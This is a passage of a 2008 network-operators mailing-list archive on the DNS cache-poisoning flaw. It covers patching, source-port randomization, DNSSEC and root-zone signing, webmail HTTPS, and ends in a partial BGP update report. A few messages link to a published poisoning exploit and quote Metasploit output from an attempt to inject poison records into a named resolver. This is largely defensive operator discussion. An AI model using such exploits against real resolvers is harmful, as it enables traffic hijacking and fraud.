internet-history mailing list some time ago about old hosts.txt files. You might also check the Computer History Museum in Mountain View, where BTW Jake Feinler volunteers. http://www.postel.org/internet-history.htm --gregbo On Thu, Jul 24, 2008 at 03:54:23PM -0400, marcus.sachs at verizon.com wrote: > Here's some older ones: > > http://pdp-10.trailing-edge.com/cgi-bin/searchbyname?name=hosts.txt > > Prior to departing SRI last year I spent a bunch of time trying to find some of the old SRI-NIC records. It appears that they were all cleaned out once the contract was closed and the Internet was handed over to Network Solutions. I think that a lot of old records still exist in personal file cabinets and garages around Menlo Park but nothing "official" is on the campus of SRI. > > Marc From richard at electrophobia.com Thu Jul 24 15:30:21 2008 From: richard at electrophobia.com (Richard Parker) Date: Thu, 24 Jul 2008 13:30:21 -0700 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <20080724101550.W86804@life-gone-hazy.com> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> <16A4E1CC-1B18-427E-B8A7-51C546349A72@gmail.com> <20080724101550.W86804@life-gone-hazy.com> Message-ID: <6CD95D88-8EF9-4C13-AB98-700D1FECD84B@electrophobia.com> On Jul 24, 2008, at 10:17 AM, Duane Wessels wrote: > Give this one a try: > > http://entropy.dns-oarc.net/test/ For one iPhone it reported 209.183.54.151 as having GREAT source port randomness and GREAT transaction ID randomness. However, despite the test reporting GREAT, the source ports were _definitely_ non-random. http://5d93b9656563a44e4c900ff9.et.dns-oarc.net/ -Richard From deepak at ai.net Thu Jul 24 15:39:31 2008 From: deepak at ai.net (Deepak Jain) Date: Thu, 24 Jul 2008 16:39:31 -0400 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <6CD95D88-8EF9-4C13-AB98-700D1FECD84B@electrophobia.com> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> <16A4E1CC-1B18-427E-B8A7-51C546349A72@gmail.com> <20080724101550.W86804@life-gone-hazy.com> <6CD95D88-8EF9-4C13-AB98-700D1FECD84B@electrophobia.com> Message-ID: <4888E883.2030402@ai.net> > For one iPhone it reported 209.183.54.151 as having GREAT source port > randomness and GREAT transaction ID randomness. However, despite the > test reporting GREAT, the source ports were _definitely_ non-random. > > http://5d93b9656563a44e4c900ff9.et.dns-oarc.net/ > "Proving random" is not easy. Proving random that isn't done by certain methods (i.e. certain algorithms or certain sources of entropy) is easier. Deepak From xenophage0 at gmail.com Thu Jul 24 15:58:29 2008 From: xenophage0 at gmail.com (Jason Frisvold) Date: Thu, 24 Jul 2008 16:58:29 -0400 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <46280.1216919645@nsa.vix.com> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> <0807241121020.260511804928587@clifden.donelan.com> <1216914003.25093.432.camel@petrie.sacredspiral.co.uk> <38042.1216914884@nsa.vix.com> <0807241305300.267001804928587@clifden.donelan.com> <46280.1216919645@nsa.vix.com> Message-ID: <924f29280807241358h62150dc4o17b605d8049b475c@mail.gmail.com> On Thu, Jul 24, 2008 at 1:14 PM, Paul Vixie wrote: > in spite of that caution i am telling you all, patch, and patch now. if you > have firewall or NAT configs that prevent it, then redo your topology -- NOW. > and make sure your NAT isn't derandomizing your port numbers on the way out. > > and if you have time after that, write a letter to your congressman about the > importance of DNSSEC, which sucks green weenies, and is a decade late, and > which has no business model, but which the internet absolutely dearly needs. So is this patch a "true" fix or just a temporary fix until further work can be done on the problem? I listened to Dan's initial presentation and I've read a lot of speculation since then. I've also taken a look at the various blog entries that detail the problem. I believe I understand what the issue is and I can see how additional randomization helps. But it that truly an end-all fix, or is this just the initial cry to stop short-term hijacking? -- Jason 'XenoPhage' Frisvold XenoPhage0 at gmail.com http://blog.godshell.com From brunner at nic-naa.net Thu Jul 24 16:14:03 2008 From: brunner at nic-naa.net (Eric Brunner-Williams) Date: Thu, 24 Jul 2008 17:14:03 -0400 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: References: <202705b0807240710u111677dex481c51eb675fe7fb@mail.gmail.com> Message-ID: <4888F09B.5020606@nic-naa.net> Neil Suryakant Patel is the nominee for AS for Communications and Information at DoC. If he's in the loop, even "advisory pending ...", and as a Cheney staffer (intially staff secretary, now as a domestic and economic policy adviser), that's possible, then adjust expectations accordingly. Paul Vixie wrote: > jmamodio at gmail.com ("Jorge Amodio") writes: > > >> As I mentioned in another message, perhaps its time to get serious about >> DNSSEC, where are we on this front ? >> > > Still waiting for US-DoC to give ICANN/IANA permission to sign the root zone. > From jra at baylink.com Thu Jul 24 16:31:01 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Thu, 24 Jul 2008 17:31:01 -0400 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <924f29280807241358h62150dc4o17b605d8049b475c@mail.gmail.com> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> <0807241121020.260511804928587@clifden.donelan.com> <1216914003.25093.432.camel@petrie.sacredspiral.co.uk> <38042.1216914884@nsa.vix.com> <0807241305300.267001804928587@clifden.donelan.com> <46280.1216919645@nsa.vix.com> <924f29280807241358h62150dc4o17b605d8049b475c@mail.gmail.com> Message-ID: <20080724213101.GG359@cgi.jachomes.com> On Thu, Jul 24, 2008 at 1:14 PM, Paul Vixie wrote: > and if you have time after that, write a letter to your congressman about the > importance of DNSSEC, which sucks green weenies, and is a decade late, and > which has no business model, but which the internet absolutely dearly needs. Ok. I'm just a small-edge-networks weenie; IANAI, or anything else big like all that. So I usually try to listen more than I talk. But it seems to me that Paul, you are here espousing the opinion that there's no business value in people being able to trust that the domain name they heard on a TV ad and typed into a browser (let's ignore phishing for the moment) actually takes them to E-Trade, and not RBN. Am I misunderstanding you? Cause I see business value in trying to perpetuate that condition. I don't say it's easy to sell to suits. But that doesn't make it unnecessary. I also don't say it's the only way to guarantee that trustability. But what else have you? Cheers, -- jra -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Josef Stalin) From vixie at isc.org Thu Jul 24 18:10:46 2008 From: vixie at isc.org (Paul Vixie) Date: Thu, 24 Jul 2008 23:10:46 +0000 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: Your message of "Thu, 24 Jul 2008 16:58:29 -0400." <924f29280807241358h62150dc4o17b605d8049b475c@mail.gmail.com> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> <0807241121020.260511804928587@clifden.donelan.com> <1216914003.25093.432.camel@petrie.sacredspiral.co.uk> <38042.1216914884@nsa.vix.com> <0807241305300.267001804928587@clifden.donelan.com> <46280.1216919645@nsa.vix.com> <924f29280807241358h62150dc4o17b605d8049b475c@mail.gmail.com> Message-ID: <86567.1216941046@nsa.vix.com> > So is this patch a "true" fix or just a temporary fix until further > work can be done on the problem? the only true fix is DNSSEC. meanwhile we'll do UDP port randomization, plus we'll randomize the 0x20 bits in QNAMEs, plus we'll all do what nominum does and retry with TCP if there's a QID mismatch while waiting for a response, and we'll start thinking about using TKEY and TSIG for stub-to-RDNS relationships. but the only true long term fix for this is DNSSEC. all else is bandaids, which is a shame, since it's a sucking chest wound and bandaids are silly. > But it that truly an end-all fix, or is this just the initial cry to stop > short-term hijacking? all we're trying to do is keep the 'net running long enough to develop and deploy DNSSEC, which would be much harder if updates.microsoft.com almost never points to a microsoft-owned computer. -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From vixie at isc.org Thu Jul 24 18:18:12 2008 From: vixie at isc.org (Paul Vixie) Date: Thu, 24 Jul 2008 23:18:12 +0000 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <20080724213101.GG359@cgi.jachomes.com> (Jay R. Ashworth's message of "Thu\, 24 Jul 2008 17\:31\:01 -0400") References: <924f29280807241358h62150dc4o17b605d8049b475c@mail.gmail.com> <20080724213101.GG359@cgi.jachomes.com> Message-ID: jra at baylink.com ("Jay R. Ashworth") writes: >> and if you have time after that, write a letter to your congressman >> about the importance of DNSSEC, which sucks green weenies, and is a >> decade late, and which has no business model, but which the internet >> absolutely dearly needs. > > But it seems to me that Paul, you are here espousing the opinion that > there's no business value in people being able to trust that the domain > name they heard on a TV ad and typed into a browser (let's ignore phishing > for the moment) actually takes them to E-Trade, and not RBN. > > Am I misunderstanding you? yes. and if you re-ask this on dns-operations at lists.oarci.net, i'll explain. -- Paul Vixie -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From tomb at byrneit.net Thu Jul 24 18:24:05 2008 From: tomb at byrneit.net (Tomas L. Byrnes) Date: Thu, 24 Jul 2008 16:24:05 -0700 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: References: <202705b0807240710u111677dex481c51eb675fe7fb@mail.gmail.com> Message-ID: <70D072392E56884193E3D2DE09C097A9F3B6@pascal.zaphodb.org> The problem is, once the ICANNt root is self-signed, the hope of ever revoking that dysfunctional mess as authority is gone. Perhaps the IETF or DoC should sign the root, that way we have a prayer of wresting control from ICANN, as opposed to paying a tax, in perpetuity, for registration services to an unaccountable, unelected, and imperious body? Some of us don't think the UN/EU/ITU are good models for governance. IE: Separation of powers. ICANN/IANA is granted (interim) authority to operate, but some other governing body signs. > -----Original Message----- > From: Paul Vixie [mailto:vixie at isc.org] > Sent: Thursday, July 24, 2008 9:13 AM > To: nanog at merit.edu > Subject: Re: Exploit for DNS Cache Poisoning - RELEASED > > jmamodio at gmail.com ("Jorge Amodio") writes: > > > As I mentioned in another message, perhaps its time to get serious > > about DNSSEC, where are we on this front ? > > Still waiting for US-DoC to give ICANN/IANA permission to > sign the root zone. > -- > Paul Vixie > > -- > This message has been scanned for viruses and dangerous > content by MailScanner, and is believed to be clean. > > > From jeff at ocjtech.us Thu Jul 24 18:56:24 2008 From: jeff at ocjtech.us (Jeffrey Ollie) Date: Thu, 24 Jul 2008 18:56:24 -0500 Subject: https (was: Re: Exploit for DNS Cache Poisoning - RELEASED) In-Reply-To: <20080724040558.5b20e1c2@cs.columbia.edu> References: <200807232230.m6NMUehk023713@aurora.sol.net> <1216862821.7847.6.camel@luna.unix.geek.nz> <594F3023-022A-406A-950D-1E02945F1B21@ianai.net> <4888348C.3010806@ripe.net> <20080724040558.5b20e1c2@cs.columbia.edu> Message-ID: <935ead450807241656x3a28f229m943abca7fd307ca@mail.gmail.com> On Thu, Jul 24, 2008 at 3:05 AM, Steven M. Bellovin wrote: > > The round trip issue affects latency, which in turn affects perceived > responsiveness. This is quite definitely the reason why gmail doesn't > always use https (though it, unlike some other web sites, doesn't > refuse to use it). Interestingly enough, Google just added a feature to GMail to force secure connections: http://googlesystem.blogspot.com/2008/07/force-gmail-to-use-secure-connection.html Jeff From Valdis.Kletnieks at vt.edu Thu Jul 24 19:37:55 2008 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Thu, 24 Jul 2008 20:37:55 -0400 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: Your message of "Thu, 24 Jul 2008 17:31:01 EDT." <20080724213101.GG359@cgi.jachomes.com> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> <0807241121020.260511804928587@clifden.donelan.com> <1216914003.25093.432.camel@petrie.sacredspiral.co.uk> <38042.1216914884@nsa.vix.com> <0807241305300.267001804928587@clifden.donelan.com> <46280.1216919645@nsa.vix.com> <924f29280807241358h62150dc4o17b605d8049b475c@mail.gmail.com> <20080724213101.GG359@cgi.jachomes.com> Message-ID: <50561.1216946275@turing-police.cc.vt.edu> On Thu, 24 Jul 2008 17:31:01 EDT, "Jay R. Ashworth" said: > But it seems to me that Paul, you are here espousing the opinion that > there's no business value in people being able to trust that the domain > name they heard on a TV ad and typed into a browser (let's ignore phishing > for the moment) actually takes them to E-Trade, and not RBN. The problem is that the business value, in general, accrues to the wrong people. It's useful and valuable for the *end user* and for *E-Trade* to be able to be sure they didn't go to RBN. The problem is that Joe Sixpack points his resolver stub at "Bubba's Bait, Tackle, and Internet Emporium ISP", and it's Bubba that has to fix stuff. And Bubba doesn't have a clear way to make money off the fixing - there's no way Bubba can explain to Joe that Bubba is more secure than the *other* bait, tackle, and DSL reseller in town, because Joe can't understand the problem.... It doesn't help that apparently there's some multi-billion-dollar Bubbas out there. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available URL: From sean at donelan.com Thu Jul 24 19:39:08 2008 From: sean at donelan.com (Sean Donelan) Date: Thu, 24 Jul 2008 20:39:08 -0400 (EDT) Subject: Issues with testing tests (DNS randomization checks) Message-ID: <0807242036001.28623851401618@clifden.donelan.com> There are several threads about various DNS testing tools sometimes reporting ISPs have or have not "patched/changed" their DNS servers. This particular thread collects several of the issues in regards to the Comcast DNS servers, but the same issues with the testing sites is applicable to anyone testing other DNS servers. http://www.dslreports.com/forum/r20839639-DNS-Comcast-and-the-DNS-Server-flaw-issue From drc at virtualized.org Thu Jul 24 19:43:10 2008 From: drc at virtualized.org (David Conrad) Date: Thu, 24 Jul 2008 17:43:10 -0700 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <70D072392E56884193E3D2DE09C097A9F3B6@pascal.zaphodb.org> References: <202705b0807240710u111677dex481c51eb675fe7fb@mail.gmail.com> <70D072392E56884193E3D2DE09C097A9F3B6@pascal.zaphodb.org> Message-ID: <94C2CA9D-99BC-4ABA-8DA3-F8A348F073F2@virtualized.org> On Jul 24, 2008, at 4:24 PM, Tomas L. Byrnes wrote: > The problem is, once the ICANNt root is self-signed, the hope of ever > revoking that dysfunctional mess as authority is gone. Sorry, I don't follow -- sounds like FUD to me. Care to explain this? As far as I'm aware, as long as the KSK isn't compromised, changing the organization who holds the KSK simply means waiting until the next KSK rollover and have somebody else do the signing. > Perhaps the IETF You mean oh say IANA? > or DoC That'll be popular in the international community. > should sign the root, that way we have a prayer > of wresting control from ICANN, as opposed to paying a tax, in > perpetuity, for registration services to an unaccountable, unelected, > and imperious body? Registration fees are unrelated to signing the root, but thanks for the gratuitous ICANN bashing. It was missing in this thread -- I was wondering when it would show up. > Some of us don't think the UN/EU/ITU are good models for governance. Indeed. > IE: Separation of powers. ICANN/IANA is granted (interim) authority to > operate, but some other governing body signs. So you want to increase the role ICANN/IANA has in root zone management. Interesting. Regards, -drc From Valdis.Kletnieks at vt.edu Thu Jul 24 20:05:00 2008 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Thu, 24 Jul 2008 21:05:00 -0400 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: Your message of "Thu, 24 Jul 2008 17:43:10 PDT." <94C2CA9D-99BC-4ABA-8DA3-F8A348F073F2@virtualized.org> References: <202705b0807240710u111677dex481c51eb675fe7fb@mail.gmail.com> <70D072392E56884193E3D2DE09C097A9F3B6@pascal.zaphodb.org> <94C2CA9D-99BC-4ABA-8DA3-F8A348F073F2@virtualized.org> Message-ID: <51264.1216947900@turing-police.cc.vt.edu> On Thu, 24 Jul 2008 17:43:10 PDT, David Conrad said: > On Jul 24, 2008, at 4:24 PM, Tomas L. Byrnes wrote: >> The problem is, once the ICANNt root is self-signed, the hope of ever >> revoking that dysfunctional mess as authority is gone. > As far as I'm aware, as long as the KSK isn't compromised, changing > the organization who holds the KSK simply means waiting until the next > KSK rollover and have somebody else do the signing. That's true if the ICANN KSK is signed *by some other entity* - that entity can then force a change by signing some *other* KSK for the next rollover. If the ICANN key is self-signed as Tomas hypothesizes, then that leverage evaporates. If -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available URL: From ge at linuxbox.org Thu Jul 24 20:05:29 2008 From: ge at linuxbox.org (Gadi Evron) Date: Thu, 24 Jul 2008 20:05:29 -0500 (CDT) Subject: TLD servers with recursion was Re: Exploit for DNS Cache Poisoning- RELEASED In-Reply-To: <488902F5.8040907@ibctech.ca> References: <20080723.211759.15942.0@webmail14.vgs.untd.com><200807241006.26010.simonw@zynet.net> <20080724084304.7c730455@t41-0> <488902F5.8040907@ibctech.ca> Message-ID: On Thu, 24 Jul 2008, Steve Bertrand wrote: > Gadi Evron wrote: >> On Thu, 24 Jul 2008, Martin Hannigan wrote: >>> >>>> I personally know several folks from within and wayyy from outside the >>>> DNS >>>> world who discovered this very out there and obvious issue and worked >>>> hard >>>> to try and contact the operators. Those that haven't fixed it yet, >>>> likely >>>> won't if all thing remain even. >>>> >>> >>> I don't know that a failure to act immediately is indicative of ignoring >>> the problem. Not to defend AT&T or any other provider, but it's not as >>> simple as rolling out a patch. >> >> Marty, are we talking of the same problem? I am talking about recursion >> enabled in bind? > > I'm confused by the last sentence. I don't understand if you are asking a > question, or stating that recursion should be disabled. > > If it is a statement, then you must mean that ops should disable recursion, > and enable forwarding for name resolution, correct? In this case, its been > proven that having an upstream forward that is 'broken' will have the exact > same effect as having a broken recursive server. > > My apologies if I've misunderstood your comment. We are talking about ccTLD NS. Gadi. From danny at tcb.net Thu Jul 24 20:16:49 2008 From: danny at tcb.net (Danny McPherson) Date: Thu, 24 Jul 2008 19:16:49 -0600 Subject: [OT] 2008 Infrastructure Security Survey Message-ID: <60CE4B87-BA39-461B-8CE9-476CD5F4303F@tcb.net> Folks, The 2008 Infrastructure Security Survey is up and available for input. You can register to complete the survey at this URL: I've added many questions this time from past participants of the survey, this should be evidenced throughout. Thanks to all those that reviewed and provided questions explicitly for this edition. The survey response window will be ~2 weeks. We hope to make the results available by the end of September at the latest. Also, please recall that NO personally (or organizationally) identifiable information will be shared in any manner. The 2007 edition of the survey is available here: Or on the Arbor web site (reg required): Thanks in advance for your participation! -danny From vixie at isc.org Thu Jul 24 20:58:30 2008 From: vixie at isc.org (Paul Vixie) Date: Fri, 25 Jul 2008 01:58:30 +0000 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: Your message of "Thu, 24 Jul 2008 16:24:05 MST." <70D072392E56884193E3D2DE09C097A9F3B6@pascal.zaphodb.org> References: <202705b0807240710u111677dex481c51eb675fe7fb@mail.gmail.com> <70D072392E56884193E3D2DE09C097A9F3B6@pascal.zaphodb.org> Message-ID: <5367.1216951110@nsa.vix.com> "Tomas L. Byrnes" wrote: > The problem is, once the ICANNt root is self-signed, the hope of ever > revoking that dysfunctional mess as authority is gone. that sounds like the kind of foot-dragging that could be holding this up. > Perhaps the IETF or DoC should sign the root, that way we have a prayer > of wresting control from ICANN, as opposed to paying a tax, in > perpetuity, for registration services to an unaccountable, unelected, > and imperious body? apparently when the internet was invented nobody gave any thought to all kinds of stuff including classful addressing (how were we going to route 16 million class C's anyway?), settlements (aren't AS701 and LVLT also somewhat imperious?), unwanted traffic (spam, DoS), address space longevity and/or conservation, routing table bloat and churn, traffic source authenticity (UDP, SMTP, syslog, ICMP, you name it)... and now you're trying to say that we don't know how to govern it long-term either? > Some of us don't think the UN/EU/ITU are good models for governance. probably most of us. however, there are certain things that can only get done that way (country code assignments in postal and telephony space for example) and i try to keep this in mind and continually forgive those who mistakenly believe that IP addresses or domain names are like that at all. > IE: Separation of powers. ICANN/IANA is granted (interim) authority to > operate, but some other governing body signs. the other party would have to sign every change. probably that's what will happen, IANA will edit, USG will hire some beltway bandit to hold the keys and do the signing, and then the rootops will publish. and i'm ok with that except that it's taking too long to get it going, and i can't seem to find the person whose desk it's sitting on so that i can offer them my help. (noting that they may not need or want my help, but i'd rather offer my help than just sit back and complain.) -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From hank at efes.iucc.ac.il Thu Jul 24 22:24:29 2008 From: hank at efes.iucc.ac.il (Hank Nussbacher) Date: Fri, 25 Jul 2008 06:24:29 +0300 (IDT) Subject: https (was: Re: Exploit for DNS Cache Poisoning - RELEASED) In-Reply-To: <935ead450807241656x3a28f229m943abca7fd307ca@mail.gmail.com> References: <200807232230.m6NMUehk023713@aurora.sol.net> <1216862821.7847.6.camel@luna.unix.geek.nz> <594F3023-022A-406A-950D-1E02945F1B21@ianai.net> <4888348C.3010806@ripe.net> <20080724040558.5b20e1c2@cs.columbia.edu> <935ead450807241656x3a28f229m943abca7fd307ca@mail.gmail.com> Message-ID: On Thu, 24 Jul 2008, Jeffrey Ollie wrote: > Interestingly enough, Google just added a feature to GMail to force > secure connections: > > http://googlesystem.blogspot.com/2008/07/force-gmail-to-use-secure-connection.html > > Jeff I wish Yahoo and Hotmail even had the ability of *reading* email via https: http://www.interall.co.il/hotmail-yahoo-https.html And then MS doesn't quite understand why people prefer Gmail to Hotmail :-) -Hank From ganbold at gmail.com Thu Jul 24 23:16:14 2008 From: ganbold at gmail.com (Ganbold Tsagaankhuu) Date: Fri, 25 Jul 2008 12:16:14 +0800 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <200807240232.m6O2Wwba026694@himinbjorg.tucs-beachin-obx-house.com> References: <20080723.182815.4469.2@webmail22.vgs.untd.com> <200807240232.m6O2Wwba026694@himinbjorg.tucs-beachin-obx-house.com> Message-ID: <8c1a520a0807242116u24901cag90ee97d3e1aa9c29@mail.gmail.com> On Thu, Jul 24, 2008 at 10:32 AM, Tuc at T-B-O-H.NET wrote: > > - -- "Robert D. Scott" wrote: > > > > >Now, there is an exploit for it. > > > > > >http://www.caughq.org/exploits/CAU-EX-2008-0002.txt > > > > Now also (mirrored) here: > > > > http://www.milw0rm.com/exploits/6122 > > > > ...and probably a slew of other places, too. ;-) > > > The changes the put into metasploit for this don't seem > to work if running from FreeBSD 5.5, possibly other BSD's and > versions from talking to the author. > > Tuc/TBOH > > True. On FreeBSD 7.0-STABLE (updated on Fri May 23) it fails to create raw socket: ... [-] This module is configured to use a raw IP socket. On Unix systems, only the root user is allowed to create raw sockets.Please run the framework as root to use this module. [*] Attempting to inject poison records for example.com.'s nameservers into 202.72.241.4:55088... [-] Auxiliary failed: undefined method `sendto' for nil:NilClass From ml at t-b-o-h.net Thu Jul 24 23:41:05 2008 From: ml at t-b-o-h.net (Tuc at T-B-O-H.NET) Date: Fri, 25 Jul 2008 00:41:05 -0400 (EDT) Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <8c1a520a0807242116u24901cag90ee97d3e1aa9c29@mail.gmail.com> Message-ID: <200807250441.m6P4f5b2043393@himinbjorg.tucs-beachin-obx-house.com> > > On Thu, Jul 24, 2008 at 10:32 AM, Tuc at T-B-O-H.NET wrote: > > > > - -- "Robert D. Scott" wrote: > > > > > > >Now, there is an exploit for it. > > > > > > > >http://www.caughq.org/exploits/CAU-EX-2008-0002.txt > > > > > > Now also (mirrored) here: > > > > > > http://www.milw0rm.com/exploits/6122 > > > > > > ...and probably a slew of other places, too. ;-) > > > > > The changes the put into metasploit for this don't seem > > to work if running from FreeBSD 5.5, possibly other BSD's and > > versions from talking to the author. > > > > Tuc/TBOH > > > > > True. On FreeBSD 7.0-STABLE (updated on Fri May 23) it fails to create raw > socket: > ... > [-] This module is configured to use a raw IP socket. On Unix systems, only > the root user is allowed to create raw sockets.Please run the framework as > root to use this module. > > [*] Attempting to inject poison records for example.com.'s nameservers into > 202.72.241.4:55088... > [-] Auxiliary failed: undefined method `sendto' for nil:NilClass > Sorry, I just checked it on 7.0 earlier today. If you happen to know any FreeBSD Ruby programmers with heavy socket experience, it would really be helpful. :-D I haven't tried the Python one yet. Probably later today. Tuc/TBOH From yahoo at jimpop.com Thu Jul 24 23:42:26 2008 From: yahoo at jimpop.com (Jim Popovitch) Date: Fri, 25 Jul 2008 00:42:26 -0400 Subject: https (was: Re: Exploit for DNS Cache Poisoning - RELEASED) In-Reply-To: References: <200807232230.m6NMUehk023713@aurora.sol.net> <1216862821.7847.6.camel@luna.unix.geek.nz> <594F3023-022A-406A-950D-1E02945F1B21@ianai.net> <4888348C.3010806@ripe.net> <20080724040558.5b20e1c2@cs.columbia.edu> <935ead450807241656x3a28f229m943abca7fd307ca@mail.gmail.com> Message-ID: <7ff145960807242142y7dedd204u45b826effa8e4026@mail.gmail.com> On Thu, Jul 24, 2008 at 11:24 PM, Hank Nussbacher wrote: > I wish Yahoo and Hotmail even had the ability of *reading* email via https: > http://www.interall.co.il/hotmail-yahoo-https.html Hah! It was only a year ago that Yahoo even added SSL capabilities for login. Six months ago they added POP3S. -Jim P. From nanog at daork.net Fri Jul 25 02:31:30 2008 From: nanog at daork.net (Nathan Ward) Date: Fri, 25 Jul 2008 19:31:30 +1200 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <01af01c8edbd$60571220$21053660$@berkman@reignmaker.net> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> <16A4E1CC-1B18-427E-B8A7-51C546349A72@gmail.com> <20080724101550.W86804@life-gone-hazy.com> <963814DA-DDE3-4970-9C4B-7AB8E5CD1CBC@gmail.com> <4888CC6C.4020403@pacific.net> <01af01c8edbd$60571220$21053660$@berkman@reignmaker.net> Message-ID: On 25/07/2008, at 6:45 AM, Scott Berkman wrote: > Is it just me or is the test page below down now? > > Or maybe some poisoned the NS record for dns-oarc.net and sent it to > nowhere to stop testing! (J/K since I can get to the rest of the page > fine). Hmm, cute. So uh, is this patch available for download over HTTPS with a key that was generated by the vendor and signed by well trusted root CAs on a boxes with OpenSSL versions not released by Debian? PATCH NOW PATCH NOW seems like a fantastic way to get nefarious code deployed in really, really interesting places. :-) -- Nathan Ward From chort at smtps.net Fri Jul 25 04:28:53 2008 From: chort at smtps.net (Brian Keefer) Date: Fri, 25 Jul 2008 02:28:53 -0700 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <200807111458.m6BEw12l010015@himinbjorg.tucs-beachin-obx-house.com> References: <200807111458.m6BEw12l010015@himinbjorg.tucs-beachin-obx-house.com> Message-ID: <7797C0E9-D60E-470E-B4FC-842190D13F06@smtps.net> On Jul 11, 2008, at 7:58 AM, Tuc at T-B-O-H.NET wrote: >> Reading through the JavaScript that drives , >> it appears to be pretty easy to write a non-AJAX client to query >> Dan's >> service. I threw one together in perl, named "noclicky", that >> allows you >> to use Dan's service against any nameserver specified on the >> command line. >> You can download a copy from > noclicky/>. >> > It looks like Dan changed what it returns, and noclicky 1.00 gets > confused. You can fix this, atleast until MCT comes out with a new > version, > by putting : > > my $date = shift @data; > > before the line : > > print "Requests seen for $domain:\n"; > > > Tuc/TBOH > Sorry to necro this, but the original version will lead to a false sense of security and people might be finding it in the archives... --- noclicky-1.00.pl Fri Jul 25 02:02:16 2008 +++ noclicky-1.01.pl Fri Jul 25 02:11:18 2008 @@ -64,10 +64,12 @@ my %ports; for my $data (@data) { - chomp($data); - my ($ip, $port, $txid) = split "-", $data; - print " $ip:$port TXID=$txid\n"; - $ports{$port} = 1; + if ($data =~ /^[1-9]/) { + chomp($data); + my ($ip, $port, $txid) = split "-", $data; + print " $ip:$port TXID=$txid\n"; + $ports{$port} = 1; + } } Thanks to Michael for the tool, though! Brian Keefer Sr. Systems Engineer www.Proofpoint.com "Defend email. Protect data." From cidr-report at potaroo.net Fri Jul 25 07:00:04 2008 From: cidr-report at potaroo.net (cidr-report at potaroo.net) Date: Fri, 25 Jul 2008 22:00:04 +1000 (EST) Subject: BGP Update Report Message-ID: <200807251200.m6PC0428011283@wattle.apnic.net> BGP Update Report Interval: 23-Jun-08 -to- 24-Jul-08 (32 days) Observation Point: BGP Peering with AS2.0 TOP 20 Unstable Origin AS Rank ASN Upds % Upds/Pfx AS-Name 1 - AS4538 209277 2.9% 41.8 -- ERX-CERNET-BKB China Education and Research Network Center 2 - AS9583 128490 1.8% 102.0 -- SIFY-AS-IN Sify Limited 3 - AS17488 89755 1.2% 67.8 -- HATHWAY-NET-AP Hathway IP Over Cable Internet 4 - AS5691 72923 1.0% 5609.5 -- MITRE-AS-5 - The MITRE Corporation 5 - AS8866 54412 0.8% 170.0 -- BTC-AS Bulgarian Telecommunication Company Plc. 6 - AS1803 53745 0.8% 42.6 -- ICMNET-5 - Sprint 7 - AS7738 51681 0.7% 167.8 -- Telecomunicacoes da Bahia S.A. 8 - AS10396 50605 0.7% 272.1 -- COQUI-NET - DATACOM CARIBE, INC. 9 - AS4766 47226 0.7% 35.9 -- KIXS-AS-KR Korea Telecom 10 - AS17974 43642 0.6% 59.5 -- TELKOMNET-AS2-AP PT Telekomunikasi Indonesia 11 - AS4788 41901 0.6% 19.6 -- TMNET-AS-AP TM Net, Internet Service Provider 12 - AS12455 39692 0.6% 583.7 -- JAMBONET 13 - AS8151 38201 0.5% 27.1 -- Uninet S.A. de C.V. 14 - AS306 37889 0.5% 220.3 -- DNIC - DoD Network Information Center 15 - AS9051 37763 0.5% 231.7 -- IDM Autonomous System 16 - AS702 32637 0.5% 59.1 -- AS702 Verizon Business EMEA - Commercial IP service provider in Europe 17 - AS18231 32313 0.5% 133.5 -- EXATT-AS-AP IOL NETCOM LTD 18 - AS9394 29087 0.4% 19.0 -- CRNET CHINA RAILWAY Internet(CRNET) 19 - AS5803 28826 0.4% 170.6 -- DDN-ASNBLK - DoD Network Information Center 20 - AS1790 27067 0.4% 229.4 -- Sprint US TOP 20 Unstable Origin AS (Updates per announced prefix) Rank ASN Upds % Upds/Pfx AS-Name 1 - AS30850 12519 0.2% 6259.5 -- DESMIE-AS Hellenic Trasmission System Operator S.A. 2 - AS5691 72923 1.0% 5609.5 -- MITRE-AS-5 - The MITRE Corporation 3 - AS27245 10820 0.1% 5410.0 